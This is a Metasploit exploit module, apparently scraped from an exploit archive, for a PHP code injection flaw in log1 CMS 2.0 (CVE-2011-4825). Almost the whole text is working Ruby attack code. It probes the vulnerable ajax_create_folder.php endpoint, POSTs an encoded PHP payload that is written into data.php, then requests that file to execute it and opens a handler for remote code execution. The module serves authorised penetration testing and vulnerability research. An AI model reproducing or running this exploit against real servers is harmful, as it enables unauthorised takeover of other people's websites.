Log1 CMS – ‘writeInfo()’ PHP Code Injection (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Log1 CMS writeInfo() PHP Code Injection", 'Description' => %q{ This module exploits the "Ajax File and Image Manager" component that can be found in log1 CMS. In function.base.php of this component, the 'data' parameter in writeInfo() allows any malicious user to have direct control of writing data to file data.php, which results in arbitrary remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'EgiX', #Found the bug in ajax_create_folder.php 'Adel SBM', #Found log1 CMS using the vulnerable ajax_create_folder.php 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2011-4825'], ['OSVDB', '76928'], ['EDB', '18075'], #Egix's advisory ['EDB', '18151'] #Adel's ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['log1 CMS 2.0', {}], ], 'Privileged' => false, 'DisclosureDate' => "Apr 11 2011", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/']) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1, 1] != '/' res = send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php" }) if res and res.code == 200 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path uri << '/' if uri[-1, 1] != '/' peer = "#{rhost}:#{rport}" php = %Q|#{rand_text_alpha(10)}=<?php #{payload.encoded} ?>| print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)") send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php", 'data' => php }) print_status("#{peer} - Requesting data.php") send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php" }) handler end end |